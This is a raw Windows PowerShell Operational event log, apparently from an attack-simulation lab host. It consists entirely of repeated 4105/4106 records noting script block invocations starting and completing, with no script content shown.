Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022749
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022747
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022746
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022745
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022763
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022761
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022759
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022758
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022757
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022755
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022774
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022773
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022771
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022770
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022769
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022767
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022766
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022765
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022783
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022782
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022781
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022779
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022777
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022775
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022794
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022793
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022791
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022790
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022789
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022788
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022787
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022785
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022803
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022801
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022800
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022799
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022797
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
